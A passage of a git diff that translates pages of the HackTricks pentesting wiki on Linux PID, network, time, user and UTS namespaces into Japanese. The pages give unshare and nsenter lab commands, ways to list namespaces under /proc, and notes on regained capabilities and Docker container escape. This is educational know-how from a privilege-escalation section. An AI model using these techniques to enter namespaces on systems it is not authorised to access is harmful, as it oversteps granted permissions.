kernel will then disable PID allocation in that namespace. +- Linux カーネルは、プロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス(「unshare」プロセスと呼ばれる)は新しいネームスペースに入らず、その子プロセスのみが入ります。 +- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。 +- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、ネームスペースのクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っています。Linux カーネルはそのネームスペース内で PID 割り当てを無効にします。 -2. **Consequence**: +2. **結果**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- 新しいネームスペース内で PID 1 が終了すると、`PIDNS_HASH_ADDING` フラグがクリーニングされます。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てできません」というエラーが発生します。 -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **解決策**: +- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションにより、`unshare` は新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。 +- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、正常な PID 割り当てを可能にします。 -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +`unshare` が `-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash # Run ifconfig or ip -a ``` - -### Check which namespace is your process in - +### プロセスがどの名前空間にあるかを確認する ```bash ls -l /proc/self/ns/net lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]' ``` - -### Find all Network namespaces - +### すべてのネットワーク名前空間を見つける ```bash sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null | sort -u | grep "net:" # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside a Network namespace - +### ネットワーク名前空間に入る ```bash nsenter -n TARGET_PID --pid /bin/bash ``` +また、**ルートでない限り、他のプロセスの名前空間に入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り、他の名前空間に**入ることはできません**(例えば、`/proc/self/ns/net`のように)。 -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`). - -## References +## 参考文献 - [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md index 0d4297366..a86dc96ee 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md @@ -2,87 +2,77 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -The PID (Process IDentifier) namespace is a feature in the Linux kernel that provides process isolation by enabling a group of processes to have their own set of unique PIDs, separate from the PIDs in other namespaces. This is particularly useful in containerization, where process isolation is essential for security and resource management. +PID (プロセス識別子) 名前空間は、Linux カーネルの機能であり、プロセスの隔離を提供します。これにより、一群のプロセスが他の名前空間の PID とは別に独自の一意の PID セットを持つことができます。これは、プロセスの隔離がセキュリティとリソース管理にとって重要なコンテナ化に特に役立ちます。 -When a new PID namespace is created, the first process in that namespace is assigned PID 1. This process becomes the "init" process of the new namespace and is responsible for managing other processes within the namespace. Each subsequent process created within the namespace will have a unique PID within that namespace, and these PIDs will be independent of PIDs in other namespaces. +新しい PID 名前空間が作成されると、その名前空間内の最初のプロセスには PID 1 が割り当てられます。このプロセスは新しい名前空間の「init」プロセスとなり、その名前空間内の他のプロセスを管理する責任を負います。名前空間内で作成される各後続プロセスは、その名前空間内で一意の PID を持ち、これらの PID は他の名前空間の PID とは独立しています。 -From the perspective of a process within a PID namespace, it can only see other processes in the same namespace. It is not aware of processes in other namespaces, and it cannot interact with them using traditional process management tools (e.g., `kill`, `wait`, etc.). This provides a level of isolation that helps prevent processes from interfering with one another. +PID 名前空間内のプロセスの視点から見ると、同じ名前空間内の他のプロセスのみを見ることができます。他の名前空間のプロセスを認識せず、従来のプロセス管理ツール(例: `kill`, `wait` など)を使用して相互作用することはできません。これにより、プロセスが互いに干渉するのを防ぐための隔離レベルが提供されます。 -### How it works: +### 仕組み: -1. When a new process is created (e.g., by using the `clone()` system call), the process can be assigned to a new or existing PID namespace. **If a new namespace is created, the process becomes the "init" process of that namespace**. -2. The **kernel** maintains a **mapping between the PIDs in the new namespace and the corresponding PIDs** in the parent namespace (i.e., the namespace from which the new namespace was created). This mapping **allows the kernel to translate PIDs when necessary**, such as when sending signals between processes in different namespaces. -3. **Processes within a PID namespace can only see and interact with other processes in the same namespace**. They are not aware of processes in other namespaces, and their PIDs are unique within their namespace. -4. When a **PID namespace is destroyed** (e.g., when the "init" process of the namespace exits), **all processes within that namespace are terminated**. This ensures that all resources associated with the namespace are properly cleaned up. +1. 新しいプロセスが作成されると(例: `clone()` システムコールを使用して)、プロセスは新しいまたは既存の PID 名前空間に割り当てられることがあります。**新しい名前空間が作成されると、プロセスはその名前空間の「init」プロセスになります**。 +2. **カーネルは新しい名前空間内の PID と親名前空間内の対応する PID との間の** **マッピングを維持します**(つまり、新しい名前空間が作成された親名前空間)。このマッピングは、**カーネルが必要に応じて PID を変換できるようにします**。たとえば、異なる名前空間のプロセス間で信号を送信する際などです。 +3. **PID 名前空間内のプロセスは、同じ名前空間内の他のプロセスのみを見たり相互作用したりできます**。他の名前空間のプロセスを認識せず、その PID は自分の名前空間内で一意です。 +4. **PID 名前空間が破棄されると**(例: 名前空間の「init」プロセスが終了すると)、**その名前空間内のすべてのプロセスが終了します**。これにより、名前空間に関連付けられたすべてのリソースが適切にクリーンアップされます。 -## Lab: +## ラボ: -### Create different Namespaces +### 異なる名前空間を作成する #### CLI - ```bash sudo unshare -pf --mount-proc /bin/bash ``` -
-Error: bash: fork: Cannot allocate memory +エラー: bash: fork: メモリを割り当てできません -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +`unshare`が`-f`オプションなしで実行されると、Linuxが新しいPID(プロセスID)名前空間を処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです: -1. **Problem Explanation**: +1. **問題の説明**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Linuxカーネルは、プロセスが`unshare`システムコールを使用して新しい名前空間を作成することを許可します。しかし、新しいPID名前空間の作成を開始するプロセス(「unshare」プロセスと呼ばれる)は、新しい名前空間に入ることはなく、その子プロセスのみが入ります。 +- `%unshare -p /bin/bash%`を実行すると、`unshare`と同じプロセスで`/bin/bash`が開始されます。その結果、`/bin/bash`とその子プロセスは元のPID名前空間に存在します。 +- 新しい名前空間内の`/bin/bash`の最初の子プロセスはPID 1になります。このプロセスが終了すると、他にプロセスがない場合、名前空間のクリーンアップがトリガーされます。PID 1は孤児プロセスを引き取る特別な役割を持っているためです。Linuxカーネルはその名前空間でのPID割り当てを無効にします。 -2. **Consequence**: +2. **結果**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- 新しい名前空間内でPID 1が終了すると、`PIDNS_HASH_ADDING`フラグがクリーニングされます。これにより、新しいプロセスを作成する際に`alloc_pid`関数が新しいPIDを割り当てることに失敗し、「メモリを割り当てできません」というエラーが発生します。 -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **解決策**: +- この問題は、`unshare`に`-f`オプションを使用することで解決できます。このオプションは、`unshare`が新しいPID名前空間を作成した後に新しいプロセスをフォークすることを意味します。 +- `%unshare -fp /bin/bash%`を実行すると、`unshare`コマンド自体が新しい名前空間内でPID 1になります。これにより、`/bin/bash`とその子プロセスはこの新しい名前空間内に安全に収容され、PID 1の早期終了を防ぎ、通常のPID割り当てを可能にします。 -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +`unshare`が`-f`フラグで実行されることを確保することで、新しいPID名前空間が正しく維持され、`/bin/bash`とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
-By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +新しいインスタンスの`/proc`ファイルシステムをマウントすることで、`--mount-proc`パラメータを使用すると、新しいマウント名前空間がその名前空間に特有のプロセス情報の**正確で隔離されたビュー**を持つことが保証されます。 #### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace are your process in - +### プロセスがどの名前空間にあるかを確認する ```bash ls -l /proc/self/ns/pid lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]' ``` - -### Find all PID namespaces - +### すべてのPID名前空間を見つける ```bash sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null | sort -u ``` +初期(デフォルト)PID名前空間からのrootユーザーは、新しいPID名前空間内のプロセスを含むすべてのプロセスを見ることができるため、すべてのPID名前空間を見ることができます。 -Note that the root use from the initial (default) PID namespace can see all the processes, even the ones in new PID names paces, thats why we can see all the PID namespaces. - -### Enter inside a PID namespace - +### PID名前空間に入る ```bash nsenter -t TARGET_PID --pid /bin/bash ``` +PID ネームスペースにデフォルトのネームスペースから入ると、すべてのプロセスを見ることができます。そして、その PID ns のプロセスは新しい bash を PID ns で見ることができます。 -When you enter inside a PID namespace from the default namespace, you will still be able to see all the processes. And the process from that PID ns will be able to see the new bash on the PID ns. - -Also, you can only **enter in another process PID namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/pid`) +また、**root でない限り、他のプロセスの PID ネームスペースに入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り、他のネームスペースに **入ることはできません**(例えば `/proc/self/ns/pid` のように)。 ## References diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md index 5d2201886..cdd8f7a45 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md @@ -1,72 +1,62 @@ -# Time Namespace +# タイムネームスペース {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -The time namespace in Linux allows for per-namespace offsets to the system monotonic and boot-time clocks. It is commonly used in Linux containers to change the date/time within a container and adjust clocks after restoring from a checkpoint or snapshot. +Linuxのタイムネームスペースは、システムのモノトニックおよびブートタイムクロックに対する名前空間ごとのオフセットを可能にします。これは、コンテナ内の日付/時刻を変更し、チェックポイントまたはスナップショットから復元した後にクロックを調整するために、Linuxコンテナで一般的に使用されます。 -## Lab: +## ラボ: -### Create different Namespaces +### 異なるネームスペースを作成する #### CLI - ```bash sudo unshare -T [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +新しいインスタンスの `/proc` ファイルシステムをマウントすることで、`--mount-proc` パラメータを使用すると、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で孤立したビュー**を持つことが保証されます。
-Error: bash: fork: Cannot allocate memory +エラー: bash: fork: メモリを割り当てることができません -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです: -1. **Problem Explanation**: +1. **問題の説明**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Linux カーネルは、プロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス(「unshare」プロセスと呼ばれる)は新しいネームスペースに入らず、その子プロセスのみが入ります。 +- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。 +- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、孤児プロセスを引き取る特別な役割を持つ PID 1 によりネームスペースのクリーンアップがトリガーされます。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。 -2. **Consequence**: +2. **結果**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- 新しいネームスペース内での PID 1 の終了は、`PIDNS_HASH_ADDING` フラグのクリーンアップを引き起こします。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。 -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **解決策**: +- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションは、`unshare` が新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。 +- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、通常の PID 割り当てを可能にします。 -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +`unshare` が `-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### プロセスがどの名前空間にあるかを確認する ```bash ls -l /proc/self/ns/time lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]' ``` - -### Find all Time namespaces - +### すべてのタイムネームスペースを見つける ```bash sudo find /proc -maxdepth 3 -type l -name time -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside a Time namespace - +### タイムネームスペースに入る ```bash nsenter -T TARGET_PID --pid /bin/bash ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md index 88d39ccc6..5f7c49df9 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md @@ -1,103 +1,88 @@ -# User Namespace +# ユーザー名前空間 {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -A user namespace is a Linux kernel feature that **provides isolation of user and group ID mappings**, allowing each user namespace to have its **own set of user and group IDs**. This isolation enables processes running in different user namespaces to **have different privileges and ownership**, even if they share the same user and group IDs numerically. +ユーザー名前空間は、**ユーザーおよびグループIDマッピングの隔離を提供する**Linuxカーネルの機能であり、各ユーザー名前空間が**独自のユーザーおよびグループIDのセット**を持つことを可能にします。この隔離により、異なるユーザー名前空間で実行されているプロセスは、**同じユーザーおよびグループIDを数値的に共有していても、異なる特権と所有権を持つことができます**。 -User namespaces are particularly useful in containerization, where each container should have its own independent set of user and group IDs, allowing for better security and isolation between containers and the host system. +ユーザー名前空間は、各コンテナが独自の独立したユーザーおよびグループIDのセットを持つべきコンテナ化に特に便利であり、コンテナとホストシステム間のセキュリティと隔離を向上させます。 -### How it works: +### 仕組み: -1. When a new user namespace is created, it **starts with an empty set of user and group ID mappings**. This means that any process running in the new user namespace will **initially have no privileges outside of the namespace**. -2. ID mappings can be established between the user and group IDs in the new namespace and those in the parent (or host) namespace. This **allows processes in the new namespace to have privileges and ownership corresponding to user and group IDs in the parent namespace**. However, the ID mappings can be restricted to specific ranges and subsets of IDs, allowing for fine-grained control over the privileges granted to processes in the new namespace. -3. Within a user namespace, **processes can have full root privileges (UID 0) for operations inside the namespace**, while still having limited privileges outside the namespace. This allows **containers to run with root-like capabilities within their own namespace without having full root privileges on the host system**. -4. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUSER` flag. When a process moves to a new namespace or creates one, it will start using the user and group ID mappings associated with that namespace. +1. 新しいユーザー名前空間が作成されると、**空のユーザーおよびグループIDマッピングのセットから開始します**。これは、新しいユーザー名前空間で実行されるプロセスが**最初は名前空間の外で特権を持たないことを意味します**。 +2. 新しい名前空間のユーザーおよびグループIDと親(またはホスト)名前空間のID間でIDマッピングを確立できます。これにより、**新しい名前空間のプロセスが親名前空間のユーザーおよびグループIDに対応する特権と所有権を持つことができます**。ただし、IDマッピングは特定の範囲やIDのサブセットに制限でき、名前空間内のプロセスに付与される特権を細かく制御できます。 +3. ユーザー名前空間内では、**プロセスは名前空間内の操作に対して完全なルート特権(UID 0)を持つことができます**が、名前空間の外では制限された特権を持ちます。これにより、**コンテナはホストシステム上で完全なルート特権を持たずに、自身の名前空間内でルートのような機能を持って実行できます**。 +4. プロセスは`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`clone()`システムコールを`CLONE_NEWUSER`フラグと共に使用して新しい名前空間を作成できます。プロセスが新しい名前空間に移動するか、新しい名前空間を作成すると、その名前空間に関連付けられたユーザーおよびグループIDマッピングを使用し始めます。 -## Lab: +## ラボ: -### Create different Namespaces +### 異なる名前空間を作成する #### CLI - ```bash sudo unshare -U [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で孤立したビュー**を持つことを保証します。
-Error: bash: fork: Cannot allocate memory +エラー: bash: fork: メモリを割り当てできません -When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below: +`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです: -1. **Problem Explanation**: +1. **問題の説明**: - - The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do. - - Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace. - - The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace. +- Linux カーネルは、プロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス(「unshare」プロセスと呼ばれる)は新しいネームスペースに入らず、その子プロセスのみが入ります。 +- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。 +- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、ネームスペースのクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っています。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。 -2. **Consequence**: +2. **結果**: - - The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error. +- 新しいネームスペース内で PID 1 が終了すると、`PIDNS_HASH_ADDING` フラグがクリーニングされます。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てできません」というエラーが発生します。 -3. **Solution**: - - The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace. - - Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation. +3. **解決策**: +- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションにより、`unshare` は新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。 +- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、正常な PID 割り当てを可能にします。 -By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error. +`unshare` が `-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` +ユーザー名前空間を使用するには、Dockerデーモンを**`--userns-remap=default`**で起動する必要があります(Ubuntu 14.04では、`/etc/default/docker`を変更し、次に`sudo service docker restart`を実行することでこれを行うことができます) -To use user namespace, Docker daemon needs to be started with **`--userns-remap=default`**(In ubuntu 14.04, this can be done by modifying `/etc/default/docker` and then executing `sudo service docker restart`) - -### Check which namespace is your process in - +### プロセスがどの名前空間にあるかを確認する ```bash ls -l /proc/self/ns/user lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]' ``` - -It's possible to check the user map from the docker container with: - +Dockerコンテナからユーザーマップを確認することができます: ```bash cat /proc/self/uid_map - 0 0 4294967295 --> Root is root in host - 0 231072 65536 --> Root is 231072 userid in host +0 0 4294967295 --> Root is root in host +0 231072 65536 --> Root is 231072 userid in host ``` - -Or from the host with: - +ホストからは次のように: ```bash cat /proc//uid_map ``` - -### Find all User namespaces - +### すべてのユーザー名前空間を見つける ```bash sudo find /proc -maxdepth 3 -type l -name user -exec readlink {} \; 2>/dev/null | sort -u # Find the processes with an specific namespace sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null | grep ``` - -### Enter inside a User namespace - +### ユーザー名前空間に入る ```bash nsenter -U TARGET_PID --pid /bin/bash ``` +また、**ルートでなければ他のプロセスネームスペースに入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り(例えば `/proc/self/ns/user`)、他のネームスペースに**入ることはできません**。 -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/user`). - -### Create new User namespace (with mappings) - +### 新しいユーザーネームスペースを作成する(マッピング付き) ```bash unshare -U [--map-user=|] [--map-group=|] [--map-root-user] [--map-current-user] ``` @@ -111,16 +96,14 @@ nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody ps -ef | grep bash # The user inside the host is still root, not nobody root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash ``` - ### Recovering Capabilities -In the case of user namespaces, **when a new user namespace is created, the process that enters the namespace is granted a full set of capabilities within that namespace**. These capabilities allow the process to perform privileged operations such as **mounting** **filesystems**, creating devices, or changing ownership of files, but **only within the context of its user namespace**. +ユーザー名前空間の場合、**新しいユーザー名前空間が作成されると、その名前空間に入るプロセスには完全な権限のセットが付与されます**。これらの権限により、プロセスは**ファイルシステムのマウント**、デバイスの作成、ファイルの所有権の変更などの特権操作を実行できますが、**そのユーザー名前空間のコンテキスト内でのみ**実行できます。 -For example, when you have the `CAP_SYS_ADMIN` capability within a user namespace, you can perform operations that typically require this capability, like mounting filesystems, but only within the context of your user namespace. Any operations you perform with this capability won't affect the host system or other namespaces. +例えば、ユーザー名前空間内で`CAP_SYS_ADMIN`権限を持っている場合、ファイルシステムのマウントなど、この権限を通常必要とする操作を実行できますが、あなたのユーザー名前空間のコンテキスト内でのみです。この権限を使用して実行する操作は、ホストシステムや他の名前空間には影響を与えません。 > [!WARNING] -> Therefore, even if getting a new process inside a new User namespace **will give you all the capabilities back** (CapEff: 000001ffffffffff), you actually can **only use the ones related to the namespace** (mount for example) but not every one. So, this on its own is not enough to escape from a Docker container. - +> したがって、新しいユーザー名前空間内に新しいプロセスを取得することが**すべての権限を取り戻すことになります**(CapEff: 000001ffffffffff)としても、実際には**名前空間に関連するもののみを使用できます**(例えばマウント)が、すべての権限を使用できるわけではありません。したがって、これだけではDockerコンテナから脱出するには不十分です。 ```bash # There are the syscalls that are filtered after changing User namespace with: unshare -UmCpf bash @@ -144,5 +127,4 @@ Probando: 0x139 . . . Error Probando: 0x140 . . . Error Probando: 0x141 . . . Error ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md index 62b92742a..f3cc3241f 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md @@ -2,77 +2,67 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -A UTS (UNIX Time-Sharing System) namespace is a Linux kernel feature that provides i**solation of two system identifiers**: the **hostname** and the **NIS** (Network Information Service) domain name. This isolation allows each UTS namespace to have its **own independent hostname and NIS domain name**, which is particularly useful in containerization scenarios where each container should appear as a separate system with its own hostname. +UTS (UNIX Time-Sharing System) 名前空間は、**2つのシステム識別子の隔離**を提供するLinuxカーネルの機能です:**ホスト名**と**NIS** (Network Information Service) ドメイン名。この隔離により、各UTS名前空間は**独自のホスト名とNISドメイン名**を持つことができ、特に各コンテナが独自のホスト名を持つ別々のシステムとして表示されるべきコンテナ化シナリオで便利です。 -### How it works: +### 仕組み: -1. When a new UTS namespace is created, it starts with a **copy of the hostname and NIS domain name from its parent namespace**. This means that, at creation, the new namespace s**hares the same identifiers as its parent**. However, any subsequent changes to the hostname or NIS domain name within the namespace will not affect other namespaces. -2. Processes within a UTS namespace **can change the hostname and NIS domain name** using the `sethostname()` and `setdomainname()` system calls, respectively. These changes are local to the namespace and do not affect other namespaces or the host system. -3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUTS` flag. When a process moves to a new namespace or creates one, it will start using the hostname and NIS domain name associated with that namespace. +1. 新しいUTS名前空間が作成されると、**親名前空間からホスト名とNISドメイン名のコピー**で始まります。これは、作成時に新しい名前空間が**親と同じ識別子を共有する**ことを意味します。しかし、名前空間内でのホスト名やNISドメイン名へのその後の変更は、他の名前空間には影響しません。 +2. 